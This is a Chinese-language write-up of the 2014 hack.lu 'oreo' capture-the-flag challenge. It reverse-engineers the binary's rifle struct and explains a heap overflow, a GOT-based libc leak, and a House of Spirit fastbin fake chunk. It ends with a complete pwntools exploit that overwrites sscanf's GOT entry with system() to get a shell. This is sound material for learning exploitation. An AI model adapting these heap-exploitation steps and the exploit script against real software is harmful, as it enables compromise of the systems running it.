2014_hack.lu_oreo
相关知识点:
Fastbin Attack – House of Spirit
相关链接:
题目分析:
先分析功能:
①添加枪支(add),这个地方会读取枪支的名字和描述,这是第一个难点,这个里面存在一个结构体(差点被坑死在这,为啥这个是一个结构体?大佬教我的是做多了就知道了)
通过代码可以看到在最初的时候分配了0x38个字节的堆块,又可以看到 ((_DWORD )dword_804A288 + 13) = v1,这个是一个32位的程序,所以一个指针占用4个字节,那么就可以得知之前那个堆块最后4个字节是用来存储一个新的指针(0x38 - 13 * 4 == 4),所以前面枪的名字和描述一共占用了52个字节,而名字是从dword_804A288 + 25开始的,所以枪支名字应该占用27个字节,枪支描述占用25个字节
int Add_rifle()
{
char *v1; // [sp+18h] [bp-10h]@1
int v2; // [sp+1Ch] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
v1 = dword_804A288;
dword_804A288 = (char *)malloc(0x38u);
if ( dword_804A288 )
{
*((_DWORD *)dword_804A288 + 13) = v1;
printf("Rifle name: ");
fgets(dword_804A288 + 25, 56, stdin);
sub_80485EC(dword_804A288 + 25);
printf("Rifle description: ");
fgets(dword_804A288, 56, stdin);
sub_80485EC(dword_804A288);
++dword_804A2A4;
}
else
{
puts("Something terrible happened!");
}
return *MK_FP(__GS__, 20) ^ v2;
}
那么识别出的结构体应该就是这样 ↓
00000000 Rifle struc ; (sizeof=0x38, mappedto_1)
00000000 name db 27 dup(?) ; string(C)
0000001B descript db 25 dup(?) ; string(C)
00000034 pre dd ? ; offset
00000038 Rifle ends
②显示已经输入的枪支的名字和描述(show_rifle);
③订购所有枪支,即释放所有已经添加的枪支信息(order);
④留下信息(message);
利用思路及exp分析:
①先利用程序“添加枪支”中存在的堆溢出漏洞,控制尾部指针,直接指向某个got表,那么在使用第二个展示的功能的时候,就能输出相应的内容,从而算出libc的基地址,再往后就可以算出system()函数和’/bin/sh’的地址
payload1 = 'a'*27+p32(elf.got['puts'])
add('a'*25,payload1)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
log.success('system_addr: '+hex(system_addr))
log.success('binsh_addr: '+hex(binsh_addr))
②在一开始我们就看到每次添加枪支都会申请一个大小为0x38的堆块,32位的程序,所有每个枪支堆块的实际大小是0x40,在使用message功能的时候,留下的信息会被输入到0x0804A2A8处,在0x0804A2A4处会记录已经添加的枪支堆块的数量,这里使用house of spirit技术,将堆块直接指向0x0804A2A8进行构造fake chunk,那么fake chunk的size就位于0x0804A2A4,大小为0x40,所以,为了绕过检测,我们需要申请0x40支枪支,并且编辑message的内容,message的内容应该是next fake chunk(相当于fake chunk 的next chunk)
num = 1
while num < 0x3f:
add('a'*25,'a'*27)
num += 1
payload2 = 'a'*27+p32(0x0804a2a8)
add('a'*25,payload2)
payload3 = '\x00'*0x20+p32(0x40)+p32(0x50)
message(payload3)
③根据上一步已经准备好的fake chunk,这一次应该是order功能,调用free()将堆块全部释放,然后当我们再次使用add功能添加枪支堆块的时候,根据fastbin机制,新申请的堆块就是从0x0804A2A8处开始的,我们可以在这个地方填充上sscanf()函数的got表,然后通过message功能,用system()函数的地址进行替换,那么再次调用sscanf()函数的时候就相当于调用system()函数,然后输入’/bin/sh’即可获得shell
sscanf_got = elf.got['__isoc99_sscanf']
add(p32(sscanf_got),'a')
message(p32(system_addr))
p.sendline('/bin/sh\0')
调试效果图:
可以从图上看到fake chunk和next fake chunk,同时也可以看出sscanf()的got表内容已经被替换成system()函数的地址
exp:
from pwn import *
p = process('./oreo')
elf = ELF("./oreo")
libc = ELF('./libc.so.6')
# context.log_level = 'debug'
def add(descrip, name):
p.sendline('1')
p.sendline(name)
p.sendline(descrip)
def show_rifle():
p.sendline('2')
p.recvuntil('===================================\n')
def order():
p.sendline('3')
def message(notice):
p.sendline('4')
p.sendline(notice)
payload1 = 'a'*27+p32(elf.got['puts'])
add('a'*25,payload1)
show_rifle()
p.recvuntil('===================================\n')
p.recvuntil('Description: ')
puts_addr = u32(p.recvuntil('\n', drop=True)[:4])
log.success('puts_addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
log.success('system_addr: '+hex(system_addr))
log.success('binsh_addr: '+hex(binsh_addr))
num = 1
while num < 0x3f:
add('a'*25,'a'*27)
num += 1
payload2 = 'a'*27+p32(0x0804a2a8)
add('a'*25,payload2)
payload3 = '\x00'*0x20+p32(0x40)+p32(0x50)
message(payload3)
order()
p.recvuntil('Okay order submitted!\n')
sscanf_got = elf.got['__isoc99_sscanf']
add(p32(sscanf_got),'a')
message(p32(system_addr))
p.sendline('/bin/sh\0')
p.interactive()